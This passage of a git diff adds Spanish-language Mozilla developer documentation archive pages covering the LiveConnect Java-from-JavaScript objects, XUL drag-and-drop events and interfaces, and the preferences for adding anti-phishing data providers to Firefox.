+<pre class="eval">var dataType = java.lang.Class.forName("java.lang.String");
+var dogs = java.lang.reflect.Array.newInstance(dataType, 5);
+</pre>
+<div class="noinclude">
+</div>
diff --git a/files/es/archive/web/liveconnect/javaclass/index.html b/files/es/archive/web/liveconnect/javaclass/index.html
new file mode 100644
index 0000000000..75ebf01604
--- /dev/null
+++ b/files/es/archive/web/liveconnect/javaclass/index.html
@@ -0,0 +1,64 @@
+---
+title: JavaClass
+slug: Archive/Web/LiveConnect/JavaClass
+tags:
+  - páginas_a_traducir
+translation_of: Archive/Web/LiveConnect_Reference/JavaClass
+---
+<h3 id="Resumen" name="Resumen">Resumen</h3>
+
+<p><strong>Objeto Global</strong></p>
+
+<p>Una referencia JavaScript de una clase Java.</p>
+
+<h3 id="Created_by" name="Created_by">Creado por</h3>
+
+<p>Una referencia del nombre de clase utilizada en el objeto <code>Packages</code>:</p>
+
+<pre class="eval">Packages.<em>JavaClass</em>
+</pre>
+
+<p><em>JavaClass</em> es el nombre completo de la clase Java. Los objetos LiveConnect <code>java</code>, <code>sun</code>, y <code>netscape</code> ofrecen accesos directos para los paquetes Java más utilizados, además de crear objetos <code>JavaClass</code>.</p>
+
+<h3 id="Descripci.C3.B3n" name="Descripci.C3.B3n">Descripción</h3>
+
+<p>Un objeto <code>JavaClass</code> es una referencia a una de las clases de un paquete Java, como <code>netscape.javascript.JSObject</code>. Un objeto <code>JavaPackage</code> es una referencia a un paquete Java, como <code>netscape.javascript</code>. En JavaScript, las jerarquías <code>JavaPackage</code> y <code>JavaClass</code> reflejan el paquete Java y la jeraquía de clases.</p>
+
+<p>Puedes pasar un objeto <code>JavaClass</code> a un método Java que requiera un argumento de tipo <code>java.lang.Class</code>.</p>
+
+<h3 id="Backward_compatibility" name="Backward_compatibility">Compatibilidad hacia atrás</h3>
+
+<h4 id="JavaScript_1.3_y_earlier" name="JavaScript_1.3_y_earlier">JavaScript 1.3 y anteriores</h4>
+
+<p>Debes crear un contenedor y meter dentro una instancia de <code>java.lang.Class</code> antes de pasarlo como parámetro a un método Java -- los objetos <code>JavaClass</code> no se convierten de forma automática a instancias de <code>java.lang.Class</code>.</p>
+
+<h3 id="Propiedades" name="Propiedades">Propiedades</h3>
+
+<p>Las propiedades de un objeto <code>JavaClass</code> son los campos estáticos de la clase Java.</p>
+
+<h3 id="M.C3.A9todos" name="M.C3.A9todos">Métodos</h3>
+
+<p>Los métodos de un objeto <code>JavaClass</code> son los métodos estáticos de la clase Java.</p>
+
+<h3 id="Ejemplos" name="Ejemplos">Ejemplos</h3>
+
+<h4 id="Ejemplos:_Utilizando_JavaClass" name="Ejemplos:_Utilizando_JavaClass">Ejemplos: Utilizando <code>JavaClass</code></h4>
+
+<p>En el siguiente ejemplo, <code>x</code> es un objeto JavaClass que hace referencia a java.awt.Font. Debido a que BOLD es un campo estático de la clase Font, también es una propiedad del objeto JavaClass.</p>
+
+<pre class="eval">x = java.awt.Font;
+myFont = x("helv", x.BOLD, 10); // crea un objeto Font
+</pre>
+
+<p>El ejemplo anterior omite <code>Packages</code> y utiliza el sinónimo <code>java</code> debido a que la clase <code>Font</code> está en el paquete <code>java</code>.</p>
+
+<h4 id="Ejemplos_2" name="Ejemplos_2">Ejemplos</h4>
+
+<p>En el siguiente ejemplo, el objeto <code>java.lang.String </code>de <code>JavaClass</code> se pasa como un argumento al método <code>newInstance</code> creando un array:</p>
+
+<pre class="eval">var cars = java.lang.reflect.Array.newInstance(java.lang.String, 15);
+</pre>
+
+<h3 id="Ver_tambi.C3.A9n" name="Ver_tambi.C3.A9n">Ver también</h3>
+
+<p><a href="/es/Referencia_de_JavaScript_1.5/Objetos_globales#JavaArray" title="es/Referencia_de_JavaScript_1.5/Objetos_globales#JavaArray">JavaArray</a>, <a href="/es/Referencia_de_JavaScript_1.5/Objetos_globales#JavaObject" title="es/Referencia_de_JavaScript_1.5/Objetos_globales#JavaObject">Objeto Java</a>, <a href="/es/Referencia_de_JavaScript_1.5/Objetos_globales#JavaPackage" title="es/Referencia_de_JavaScript_1.5/Objetos_globales#JavaPackage">Empaquetado Java</a>, <a href="/es/Referencia_de_JavaScript_1.5/Objetos_globales#Packages" title="es/Referencia_de_JavaScript_1.5/Objetos_globales#Packages">Paquetes</a></p>
diff --git a/files/es/archive/web/liveconnect/javaobject/index.html b/files/es/archive/web/liveconnect/javaobject/index.html
new file mode 100644
index 0000000000..7248cef567
--- /dev/null
+++ b/files/es/archive/web/liveconnect/javaobject/index.html
@@ -0,0 +1,61 @@
+---
+title: JavaObject
+slug: Archive/Web/LiveConnect/JavaObject
+translation_of: Archive/Web/LiveConnect_Reference/JavaObject
+---
+<p>
+</p>
+<h3 id="Summary" name="Summary"> Summary </h3>
+<p><b>Core Object</b>
+</p><p>The type of a wrapped Java object accessed from within JavaScript code.
+</p>
+<h3 id="Created_by" name="Created_by"> Created by </h3>
+<p>Any Java method which returns an object type. In addition, you can explicitly construct a <code>JavaObject</code> using the object's Java constructor with the <code>Packages</code> keyword:
+</p>
+<pre class="eval">new Packages.<i>JavaClass</i>(<i>parameterList</i>)
+</pre>
+<p><i>JavaClass</i> is the fully-specified name of the object's Java class.
+</p>
+<h3 id="Parameters" name="Parameters"> Parameters </h3>
+<dl><dt> <code>parameterList</code> </dt><dd> An optional list of parameters, specified by the constructor of the Java class.
+</dd></dl>
+<h3 id="Description" name="Description"> Description </h3>
+<p>The <code>JavaObject</code> object is an instance of a Java class that is created in or passed to JavaScript. <code>JavaObject</code> is a wrapper for the instance; all references to the class instance are made through the <code>JavaObject</code>.
+</p><p>Any Java data brought into JavaScript is converted to JavaScript data types. When the <code>JavaObject</code> is passed back to Java, it is unwrapped and can be used by Java code. See the <a href="es/Core_JavaScript_1.5_Guide">Core JavaScript 1.5 Guide</a> for more information about data type conversions.
+</p>
+<h3 id="Properties" name="Properties"> Properties </h3>
+<p>Inherits public data members from the Java class of which it is an instance as properties. It also inherits public data members from any superclass as properties.
+</p>
+<h3 id="Methods" name="Methods"> Methods </h3>
+<p>Inherits public methods from the Java class of which it is an instance. The <code>JavaObject</code> also inherits methods from <code>java.lang.Object</code> and any other superclass.
+</p>
+<h3 id="Examples" name="Examples"> Examples </h3>
+<h4 id="Example:_Instantiating_a_Java_Object_in_JavaScript" name="Example:_Instantiating_a_Java_Object_in_JavaScript"> Example: Instantiating a Java Object in JavaScript </h4>
+<p>The following code creates the <code>JavaObject</code> <code>theString</code>, which is an instance of the class <code>java.lang.String</code>:
+</p>
+<pre class="eval">var theString = new Packages.java.lang.String("Hello, world");
+</pre>
+<p>Because the <code>String</code> class is in the <code>java</code> package, you can also use the java synonym and omit the <code>Packages</code> keyword when you instantiate the class:
+</p>
+<pre class="eval">var theString = new java.lang.String("Hello, world");
+</pre>
+<h4 id="Example:_Accessing_methods_of_a_Java_object" name="Example:_Accessing_methods_of_a_Java_object"> Example: Accessing methods of a Java object </h4>
+<p>Because the <code>JavaObject</code> <code>theString</code> is an instance of <code>java.lang.String</code>, it inherits all the public methods of <code>java.lang.String</code>. The following example uses the <code>startsWith</code> method to check whether <code>theString</code> begins with "Hello".
+</p>
+<pre class="eval">var theString = new java.lang.String("Hello, world");
+theString.startsWith("Hello"); // returns true
+</pre>
+<h4 id="Example:_Accessing_inherited_methods" name="Example:_Accessing_inherited_methods"> Example: Accessing inherited methods </h4>
+<p>Because <code>getClass</code> is a method of <code>Object</code>, and <code>java.lang.String</code> extends <code>Object</code>, the <code>String</code> class inherits the <code>getClass</code> method. Consequently, <code>getClass</code> is also a method of the <code>JavaObject</code> which instantiates <code>String</code> in JavaScript.
+</p>
+<pre class="eval">var theString = new java.lang.String("Hello, world");
+theString.getClass(); // returns java.lang.String
+</pre>
+<h3 id="See_also" name="See_also"> See also </h3>
+<p><a href="es/Core_JavaScript_1.5_Reference/Global_Objects/JavaArray">JavaArray</a>,
+<a href="es/Core_JavaScript_1.5_Reference/Global_Objects/JavaClass">JavaClass</a>,
+<a href="es/Core_JavaScript_1.5_Reference/Global_Objects/JavaPackage">JavaPackage</a>,
+<a href="es/Core_JavaScript_1.5_Reference/Global_Objects/Packages">Packages</a>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/es/archive/web/liveconnect/javapackage/index.html b/files/es/archive/web/liveconnect/javapackage/index.html
new file mode 100644
index 0000000000..091300cd5e
--- /dev/null
+++ b/files/es/archive/web/liveconnect/javapackage/index.html
@@ -0,0 +1,39 @@
+---
+title: JavaPackage
+slug: Archive/Web/LiveConnect/JavaPackage
+translation_of: Archive/Web/LiveConnect_Reference/JavaPackage
+---
+<p>
+</p>
+<h3 id="Summary" name="Summary"> Summary </h3>
+<p><b>Core Object</b>
+</p><p>A JavaScript reference to a Java package.
+</p>
+<h3 id="Created_by" name="Created_by"> Created by </h3>
+<p>A reference to the package name used with the <code>Packages</code> keyword:
+</p>
+<pre class="eval">Packages.<i>JavaPackage</i>
+</pre>
+<p><i>JavaPackage</i> is the name of the object's Java package. If the package is in the <code>java</code>, <code>netscape</code>, or <code>sun</code> packages, the <code>Packages</code> keyword is optional.
+</p>
+<h3 id="Description" name="Description"> Description </h3>
+<p>In Java, a package is a collection of Java classes or other Java packages. For example, the <code>netscape</code> package contains the package <code>netscape.javascript</code>; the <code>netscape.javascript</code> package contains the classes <code>JSObject</code> and <code>JSException</code>.
+</p><p>In JavaScript, a <code>JavaPackage</code> is a reference to a Java package. For example, a reference to <code>netscape</code> is a <code>JavaPackage</code>. <code>netscape.javascript</code> is both a <code>JavaPackage</code> and a property of the <code>netscape</code> JavaPackage.
+</p><p>A <code>JavaClass</code> object is a reference to one of the classes in a package, such as <code>netscape.javascript.JSObject</code>. The <code>JavaPackage</code> and <code>JavaClass</code> hierarchy reflect the Java package and class hierarchy.
+</p><p>Although the packages and classes contained in a <code>JavaPackage</code> are its properties, you cannot use a <code>for...in</code> statement to enumerate them as you can enumerate the properties of other objects. </p>
+<h3 id="Properties" name="Properties"> Properties </h3>
+<p>The properties of a <code>JavaPackage</code> are the <code>JavaClass</code> objects and any other <code>JavaPackage</code> objects it contains.
+</p>
+<h3 id="Examples" name="Examples"> Examples </h3>
+<p>Suppose the Redwood corporation uses the Java <code>redwood</code> package to contain various Java classes that it implements. The following code creates the <code>JavaPackage</code> red:
+</p>
+<pre class="eval">var red = Packages.redwood;
+</pre>
+<h3 id="See_also" name="See_also"> See also </h3>
+<p><a href="es/Core_JavaScript_1.5_Reference/Global_Objects/JavaArray">JavaArray</a>,
+<a href="es/Core_JavaScript_1.5_Reference/Global_Objects/JavaClass">JavaClass</a>,
+<a href="es/Core_JavaScript_1.5_Reference/Global_Objects/JavaObject">JavaObject</a>,
+<a href="es/Core_JavaScript_1.5_Reference/Global_Objects/Packages">Packages</a>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/es/archive/web/liveconnect/netscape/index.html b/files/es/archive/web/liveconnect/netscape/index.html
new file mode 100644
index 0000000000..85d8eabb95
--- /dev/null
+++ b/files/es/archive/web/liveconnect/netscape/index.html
@@ -0,0 +1,23 @@
+---
+title: netscape
+slug: Archive/Web/LiveConnect/netscape
+translation_of: Archive/Web/LiveConnect_Reference/netscape
+---
+<p>
+</p>
+<h3 id="Summary" name="Summary"> Summary </h3>
+<p><b>Core Object</b>
+</p><p>A top-level object used to access any Java class in the package <code>netscape.*</code>.
+</p>
+<h3 id="Created_by" name="Created_by"> Created by </h3>
+<p>The <code>netscape</code> object is a top-level, predefined JavaScript object. You can automatically access it without using a constructor or calling a method.
+</p>
+<h3 id="Description" name="Description"> Description </h3>
+<p>The <code>netscape</code> object is a convenient synonym for the property <code>Packages.netscape</code>.
+</p>
+<h3 id="See_Also" name="See_Also"> See Also </h3>
+<p><a href="es/Core_JavaScript_1.5_Reference/Global_Objects/Packages">Packages</a>,
+<a href="es/Core_JavaScript_1.5_Reference/Global_Objects/Packages/netscape">Packages.netscape</a>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/es/archive/web/liveconnect/packages/index.html b/files/es/archive/web/liveconnect/packages/index.html
new file mode 100644
index 0000000000..c66265507d
--- /dev/null
+++ b/files/es/archive/web/liveconnect/packages/index.html
@@ -0,0 +1,44 @@
+---
+title: Packages
+slug: Archive/Web/LiveConnect/Packages
+translation_of: Archive/Web/LiveConnect_Reference/Packages
+---
+<p>
+</p>
+<h3 id="Summary" name="Summary"> Summary </h3>
+<p><b>Core Object</b>
+</p><p>A top-level object used to access Java classes from within JavaScript code.
+</p>
+<h3 id="Created_by" name="Created_by"> Created by </h3>
+<p>The <code>Packages</code> object is a top-level, predefined JavaScript object. You can automatically access it without using a constructor or calling a method.
+</p>
+<h3 id="Description" name="Description"> Description </h3>
+<p>The <code>Packages</code> object lets you access the public methods and fields of an arbitrary Java class from within JavaScript. The <code>java</code>, <code>netscape</code>, and <code>sun</code> properties represent the packages <code>java.*</code>, <code>netscape.*</code>, and <code>sun.*</code> respectively. Use standard Java dot notation to access the classes, methods, and fields in these packages. For example, you can access a constructor of the <code>Frame</code> class as follows:
+</p>
+<pre class="eval">var theFrame = new Packages.java.awt.Frame();
+</pre>
+<p>For convenience, JavaScript provides the top-level <code>netscape</code>, <code>sun</code>, and <code>java</code> objects that are synonyms for the Packages properties with the same names. Consequently, you can access Java classes in these packages without the Packages keyword, as follows:
+</p>
+<pre class="eval">var theFrame = new java.awt.Frame();
+</pre>
+<p>The <code>className</code> property represents the fully qualified path name of any other Java class that is available to JavaScript. You must use the <code>Packages</code> object to access classes outside the <code>netscape</code>, <code>sun</code>, and <code>java</code> packages.
+</p>
+<h3 id="Properties" name="Properties"> Properties </h3>
+<p><a href="es/Core_JavaScript_1.5_Reference/Global_Objects/Packages/className">className</a>: The fully qualified name of a Java class in a package other than netscape, java, or sun that is available to JavaScript. </p><p><a href="es/Core_JavaScript_1.5_Reference/Global_Objects/Packages/java">java</a>: Any class in the Java package java.*. </p><p><a href="es/Core_JavaScript_1.5_Reference/Global_Objects/Packages/netscape">netscape</a>: Any class in the Java package netscape.*. </p><p><a href="es/Core_JavaScript_1.5_Reference/Global_Objects/Packages/sun">sun</a>: Any class in the Java package sun.*.
+</p>
+<h3 id="Examples" name="Examples"> Examples </h3>
+<h4 id="Example:_JavaScript_function_to_create_a_Java_dialog_box" name="Example:_JavaScript_function_to_create_a_Java_dialog_box"> Example: JavaScript function to create a Java dialog box </h4>
+<p>The following JavaScript function creates a Java dialog box:
+</p>
+<pre class="eval">function createWindow() {
+   var theOwner = new Packages.java.awt.Frame();
+   var theWindow = new Packages.java.awt.Dialog(theOwner);
+   theWindow.setSize(350, 200);
+   theWindow.setTitle("Hello, World");
+   theWindow.setVisible(true);
+}
+</pre>
+<p>In the previous example, the function instantiates <code>theWindow</code> as a new <code>Packages</code> object. The <code>setSize</code>, <code>setTitle</code>, and <code>setVisible</code> methods are all available to JavaScript as public methods of <code>java.awt.Dialog</code>.
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/es/archive/web/liveconnect/sun/index.html b/files/es/archive/web/liveconnect/sun/index.html
new file mode 100644
index 0000000000..2ded558161
--- /dev/null
+++ b/files/es/archive/web/liveconnect/sun/index.html
@@ -0,0 +1,17 @@
+---
+title: sun
+slug: Archive/Web/LiveConnect/sun
+translation_of: Archive/Web/LiveConnect_Reference/sun
+---
+<p> </p>
+<h3 id="Summary" name="Summary">Sumario</h3>
+<p><strong>Objeto Core</strong></p>
+<p>Objeto de nivel superior usado para acceder a cualquier clase Java en el paquete <code>sun.*</code>.</p>
+<h3 id="Created_by" name="Created_by">Creado por</h3>
+<p>El objeto <code>sun</code> es un objeto Javascript predefinido de nivel superior. Puede acceder a él automáticamente sin necesidad de utilizar un constructor o llamar a un método.</p>
+<h3 id="Description" name="Description">Descripción</h3>
+<p>El objeto <code>sun</code> es un sinónimo de conveniencia de la propiedad <code>Packages.sun</code>.</p>
+<h3 id="See_also" name="See_also">Ver también</h3>
+<p><a href="/es/Core_JavaScript_1.5_Reference/Global_Objects/Packages" title="es/Core_JavaScript_1.5_Reference/Global_Objects/Packages">Packages</a>, <a href="/es/Core_JavaScript_1.5_Reference/Global_Objects/Packages/sun" title="es/Core_JavaScript_1.5_Reference/Global_Objects/Packages/sun">Packages.sun</a></p>
+
+<p></p>
diff --git a/files/es/arrastrar_y_soltar/index.html b/files/es/arrastrar_y_soltar/index.html
new file mode 100644
index 0000000000..3a4ca84f63
--- /dev/null
+++ b/files/es/arrastrar_y_soltar/index.html
@@ -0,0 +1,77 @@
+---
+title: Arrastrar y soltar
+slug: Arrastrar_y_soltar
+tags:
+  - Todas_las_Categorías
+  - XUL
+translation_of: Archive/Mozilla/Drag_and_drop
+---
+<p>
+</p><p></p><div class="prevnext" style="text-align: right;">
+    <p><a href="/es/docs/Drag_and_Drop_JavaScript_Wrapper">Siguiente  »</a></p>
+</div>
+Esta sección describe cómo implementar objetos que pueden ser arrastrados y soltados dentro de otros objetos.
+<p></p>
+<h3 id="La_interfaz_de_arrastrar_y_soltar" name="La_interfaz_de_arrastrar_y_soltar">La interfaz de arrastrar y soltar</h3>
+<p>Muchas interfaces de usuario permiten arrastrar objetos particulares dentro de la interfaz. Por ejemplo, arrastrar archivos a otros directorios, o arrastrar un icono a otra ventana para abrir el documento que representa. Mozilla y <a href="es/XUL">XUL</a> proporcionan varios eventos para gestionar los intentos del usuario de arrastrar y soltar objetos.
+</p><p>El usuario puede empezar a arrastrar un objeto pulsando el botón del ratón y moviéndolo. Se termina de arrastrar cuando el usuario suelta el botón del ratón. Los gestores de eventos se llaman cuando el usuario empieza y termina de arrastrar, y también en varios puntos intermedios.
+</p><p>Mozilla implementa el arrastre por medio de sesiones de arrastre. Cuando un usuario solicita arrastrar algo que puede ser arrastrado, se debería iniciar una sesión de arrastre. La sesión de arrastre gestiona la actualización del puntero del ratón y dónde debería ser soltado el objeto. Si no se puede arrastrar algo, no se debería iniciar una sesión de arrastre. Ya que el usuario general sólo tiene un ratón, sólo se utiliza una sesión de arrastre simultáneamente.
+</p><p>Ten en cuenta que las sesiones de arrastre pueden ser creadas desde Mozilla o desde otras aplicaciones. Mozilla traducirá los datos que se arrastran si se necesita.
+</p><p>La lista inferior describe los gestores de eventos que pueden ser llamados, y que pueden ser asociados cualquier elemento. Sólo necesitas fijar valores para los gestores cuando necesitas que pase algo al activarse el evento.
+</p>
+<dl><dt> ondrag </dt><dd> llamado periódicamente a lo largo de la operación de arrastrar y soltar.
+</dd><dt> ondraggesture </dt><dd> llamado cuando el usuario empieza a arrastrar el elemento, lo que ocurre normalmente cuando el usuario pulsa el botón del ratón y lo mueve. El script de este gestor debería iniciar y configurar una sesión de arrastre.
+</dd><dt> ondragstart  </dt><dd> un alias de <code>ondraggesture</code>; es el nombre de la especificación HTML 5 para el evento y puede usarse en HTML y XUL; sin embargo, para mantener la compatibilidad con versiones más antiguas de Firefox, es posible que quieras continuar usando en XUL <code>ondraggesture</code>.
+</dd><dt> ondragover </dt><dd> este gestor de evento es llamado por un elemento cuando se está arrastrando algo sobre el elemento al cual se le aplica ondragover. Si el objeto puede ser soltado sobre el elemento, se debería notificar a la sesión de arrastre.
+</dd><dt> ondragenter </dt><dd> es llamado por un elemento cuando el puntero del ratón se mueve por primera vez sobre él mientras se está arrastrando algo. Se puede usar para cambiar la apariencia del elemento y así indicar al usuario que el objeto puede ser soltado en él.
+</dd><dt> ondragexit </dt><dd> es llamado por un elemento cuando el puntero del ratón abandona el elemento mientras se está arrastrando algo. También es llamado tras soltar el objeto, para que el elemento pueda eliminar cualquier resaltado u otra indicación.
+</dd><dt> ondragdrop </dt><dd> este gestor de evento es llamado por un elemento cuando se suelta algo en el elemento. En este punto, el usuario ya ha soltado el botón del ratón. El elemento puede simplemente ignorar el evento o gestionarlo de alguna manera, tal como pegar el objeto dentro de sí mismo.
+</dd><dt> ondragend  </dt><dd> se llama cuando se suelta un objeto.
+</dd></dl>
+<p>Hay dos formas de gestionar eventos de arrastrar y soltar. La primera implica usar las interfaces de arrastrar y soltar de <a href="es/XPCOM">XPCOM</a> directamente. La segunda consiste en usar un objeto <a href="es/Drag_and_Drop_JavaScript_Wrapper">adaptador JavaScript </a> que gestione algunas de ellas por ti. Puedes encontrar el código de este adaptador en un archivo llamado <a class="external" href="http://lxr.mozilla.org/mozilla/source/toolkit/content/nsDragAndDrop.js">nsDragAndDrop.js</a>, que está contenido en el paquete (o global) widget-toolkit.
+</p>
+<h3 id="Arrastrar_y_soltar_XPCOM" name="Arrastrar_y_soltar_XPCOM">Arrastrar y soltar XPCOM</h3>
+<p>Se utilizan dos interfaces para implementar arrastrar y soltar. La primera es un servicio de arrastre,
+<a href="es/NsIDragService">nsIDragService</a>, y la segunda es una sesión de arrastre, <a href="es/NsIDragSession">nsIDragSession</a>.
+</p><p>El <a href="es/NsIDragService">nsIDragService</a> es responsable de crear sesiones de arrastre cuando se empieza a arrastrar, y de eliminar la sesión de arrastre cuando se haya acabado de arrastrar. Para iniciar un arrastre, se debería llamar a la función &lt;tt&gt;invokeDragSession&lt;/tt&gt; dentro de un gestor de eventos &lt;tt&gt;ondraggesture&lt;/tt&gt;. Cuando se llama a esta función, comienza el arrastre.
+</p><p>La función invokeDragSession acepta cuatro parámetros, tal y como se describe debajo:
+</p>
+<pre class="eval">invokeDragSession(element,transferableArray,region,actions)
+</pre>
+<dl><dt> element </dt><dd> una referencia al elemento que se está arrastrando. Puede obtenerse a través de la propiedad &lt;tt&gt;event.target&lt;/tt&gt; dentro del gestor de eventos.
+</dd><dt> transferableArray </dt><dd> un vector de objetos <a href="es/NsITransferable">nsITransferable</a>, uno por cada elemento que se está arrastrando. Se usa un vector para permitir arrastrar varios objetos a la vez, como por ejemplo un grupo de archivos.
+</dd><dt> region </dt><dd> una región usada para proporcionar información de la operación. Normalmente debe fijarse a null.
+</dd><dt> actions </dt><dd> las acciones que usa el arrastre. Suele fijarse como una de las siguientes constantes, o como varias de ellas juntas. La acción puede cambiarse a lo largo del arrastre dependiendo de sobre qué elemento se está arrastrando.
+</dd></dl>
+<dl><dt> nsIDragSession.DRAGDROP_ACTION_NONE </dt><dd><dl><dt> se usa para indicar que el arrastre no es válido.
+</dt><dt> nsIDragSession.DRAGDROP_ACTION_COPY </dt><dd> el elemento arrastrado se debería copiar al lugar donde se soltó.
+</dd><dt> nsIDragSession.DRAGDROP_ACTION_MOVE </dt><dd> el elemento que se arrastra se debería mover al lugar donde se soltó.
+</dd><dt> nsIDragSession.DRAGDROP_ACTION_LINK </dt><dd> se debería crear un enlace (o un acceso directo, o un alias) al elemento que se está arrastrando en el lugar donde se soltó.
+</dd></dl>
+</dd></dl>
+<p>La interfaz <a href="es/NsIDragService">nsIDragService</a> también proporciona la función &lt;tt&gt;getCurrentSession&lt;/tt&gt;, que puede ser llamada desde los gestores de eventos para obtener y modificar el estado del arrastre. La función devuelve un objeto que implementa <a href="es/NsIDragSession">nsIDragSession</a>.
+</p><p>La interfaz <a href="es/NsIDragSession">nsIDragSession</a> se usa para obtener y fijar propiedades del arrastre en curso. Están disponibles las siguientes propiedades y métodos:
+</p>
+<dl><dt> canDrop </dt><dd> fija esta propiedad a &lt;tt&gt;true&lt;/tt&gt; si el elemento sobre el que está el ratón permite que el objeto que se está arrastrando se suelte en él. Fija el valor a &lt;tt&gt;false&lt;/tt&gt; si no tiene sentido soltar el objeto en él. Se debería cambiar en los gestores de eventos &lt;tt&gt;ondragover&lt;/tt&gt; y &lt;tt&gt;ondragenter&lt;/tt&gt;.
+</dd><dt> dragAction </dt><dd> fija la acción que debe ser ejecutada, la cual debería ser una o varias de las constantes descritas anteriormente. Se puede usar para proporcionar información adicional al usuario.
+</dd><dt> numDropItems </dt><dd> el número de elementos que se arrastran. Por ejemplo, se fijará a 5 si se están arrastrando cinco marcadores.
+</dd><dt> getData(transfer,index) </dt><dd> devuelve los datos que se arrastran. El primer argumento debe ser un objeto <a href="es/NsITransferable">nsITransferable</a> para albergar los datos. El segundo argumento, index, debe ser el índice del elemento que se debe devolver.
+</dd><dt> sourceDocument </dt><dd> el documento donde empezó el arrastre.
+</dd><dt> sourceNode </dt><dd> el nodo <a href="es/DOM">DOM</a> donde empezó el arrastre.
+</dd><dt> isDataFlavorSupported(flavor) </dt><dd> devuelve &lt;tt&gt;true&lt;/tt&gt; si los datos que se arrastran contienen datos del tipo (sabor) especificado.
+</dd></dl>
+<p></p><div class="prevnext" style="text-align: right;">
+    <p><a href="/es/docs/Drag_and_Drop_JavaScript_Wrapper">Siguiente  »</a></p>
+</div>
+<p></p>
+<div class="originaldocinfo">
+<h2 id="Original_Document_Information" name="Original_Document_Information">Original Document Information</h2>
+<ul><li> Author(s): <a class="link-mailto" href="mailto:enndeakin@sympatico.ca">Neil Deakin</a>
+</li><li> Original Document: <a class=" external" href="http://xulplanet.com/tutorials/mozsdk/dragdrop.php">http://xulplanet.com/tutorials/mozsdk/dragdrop.php</a>
+</li><li> Copyright Information: Copyright (C) <a class="link-mailto" href="mailto:enndeakin@sympatico.ca">Neil Deakin</a>
+</li></ul>
+</div>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/es/añadir_datos_para_la_protección_anti-phishing/index.html b/files/es/añadir_datos_para_la_protección_anti-phishing/index.html
new file mode 100644
index 0000000000..4cc41b20b1
--- /dev/null
+++ b/files/es/añadir_datos_para_la_protección_anti-phishing/index.html
@@ -0,0 +1,47 @@
+---
+title: Añadir datos para la protección anti-phishing
+slug: Añadir_datos_para_la_protección_anti-phishing
+translation_of: Mozilla/Adding_phishing_protection_data_providers
+---
+<p>La tecnología de protección anti-phishing permite a Firefox proteger a los usuarios comparando las URLs que el usuario visita con una lista negra de sitios fraudulentos conocidos, y presentando una advertencia al usuario cuando visita el sitio listado.
+</p>
+<h2 id="Instalar_un_nuevo_proveedor_de_datos">Instalar un nuevo proveedor de datos</h2>
+<p>Para instalar un proveedor de datos para la protección anti-phishing, es necesario establecer una serie de preferencias a fin de proporcionar detalles acerca del proveedor.
+</p><p>Cada proveedor de datos posee un número de identificador único (ID). El proveedor de datos con el número de ID 0 es el instalado con Firefox por defecto. Cuando se instala un nuevo proveedor, debe utilizar el siguiente número disponible.
+</p><p>Para encontrar un número de ID que utilizar, puedes construir un bucle que solicite el valor de <code>browser.safebrowsing.provider.0.name</code>, luego <code>browser.safebrowsing.provider.1.name</code>, y así sucesivamente hasta que no se devuelva ningún valor. Entonces puedes usar este valor.
+</p><p>Puedes encontrar ejemplos de cómo leer y escribir preferencias en el artículo <a href="es/A%c3%b1adir_preferencias_a_una_extensi%c3%b3n">Añadir preferencias a una extensión</a>.
+</p>
+<h3 id="Preferencias_requeridas">Preferencias requeridas</h3>
+<dl><dt> <code>browser.safebrowsing.provider.<i>idnum</i>.name</code>
+</dt><dd> Un nombre legible por un humano del proveedor de datos.
+</dd></dl>
+<dl><dt> <code>browser.safebrowsing.provider.<i>idnum</i>.keyURL</code>
+</dt><dd> Una URL que retorna una clave privada que será usada para cifrar las otras peticiones.
+</dd></dl>
+<dl><dt> <code>browser.safebrowsing.provider.<i>idnum</i>.lookupURL</code>
+</dt><dd> La URL usada para buscar URLs y ver si se encuentran en la lista negra. Esta petición debe ser cifrada usando una clave privada devuelta por la petición <code>KeyURL</code>.
+</dd></dl>
+<h3 id="Preferencias_opcionales">Preferencias opcionales</h3>
+<dl><dt> <code>browser.safebrowsing.provider.<i>idnum</i>.reportURL</code>
+</dt><dd> Una URL usada para informar cuándo los usuarios visitan páginas fraudulentas y si deciden atender la advertencia o ignorarla.
+</dd></dl>
+<dl><dt> <code>browser.safebrowsing.provider.<i>idnum</i>.updateURL</code>
+</dt><dd> Una URL usada para solicitar una lista actualizada de sitios con contenido fraudulento. El servidor provee o una lista completa o actualizaciones crecientes para poner las tablas del usuario al día.
+</dd></dl>
+<dl><dt> <code>browser.safebrowsing.provider.<i>idnum</i>.reportGenericURL</code>
+</dt><dd> No usado actualmente; su intención es reportar otros asuntos con el servicio de protección anti-phishing.
+</dd></dl>
+<dl><dt> <code>browser.safebrowsing.provider.<i>idnum</i>.reportErrorURL</code>
+</dt><dd> Una URL a la cual el usuario es dirigido para informar de una página segura que está siendo identificada incorrectamente como un sitio fraudulento.
+</dd></dl>
+<dl><dt> <code>browser.safebrowsing.provider.<i>idnum</i>.reportPhishURL</code>
+</dt><dd> Una URL a la cual el usuario es dirigido para reportar un sitio de contenido fraudulento que no ha sido detectado por el sistema de protección contra phishing.
+</dd></dl>
+<h2 id="Determinar_el_proveedor_de_datos_seleccionado_actualmente">Determinar el proveedor de datos seleccionado actualmente</h2>
+<p>Si necesitas determinar el número de ID del proveedor de datos seleccionado actualmente,
+puedes observar el valor actual de la preferencia <code>browser.safebrowsing.dataProvider</code>.
+</p><p><br>
+</p>
+<div class="noinclude">
+</div>
+{{ languages( { "en": "en/Adding_phishing_protection_data_providers", "fr": "fr/Ajout_de_fournisseurs_de_donn\u00e9es_de_protection_anti-phishing", "it": "it/Aggiungere_fornitori_di_dati_anti-phishing", "ja": "ja/Adding_phishing_protection_data_providers", "pl": "pl/Dodawanie_dostawc\u00f3w_danych_ochrony_przed_phishingiem", "zh-tw": "zh_tw/\u65b0\u589e\u507d\u9020\u7db2\u7ad9\u6e05\u55ae\u4f86\u6e90" } ) }}
diff --git a/files/es/añadir_lectores_de_canales_a_firefox/index.html b/files/es/añadir_lectores_de_canales_a_firefox/index.html
new file mode 100644
index 0000000000..5b8c50bc83
--- /dev/null
+++ b/files/es/añadir_lectores_de_canales_a_firefox/index.html
@@ -0,0 +1,51 @@
+---
+title: Añadir lectores de canales a Firefox
+slug: Añadir_lectores_de_canales_a_Firefox
+tags:
+  - RSS
+  - Todas_las_Categorías
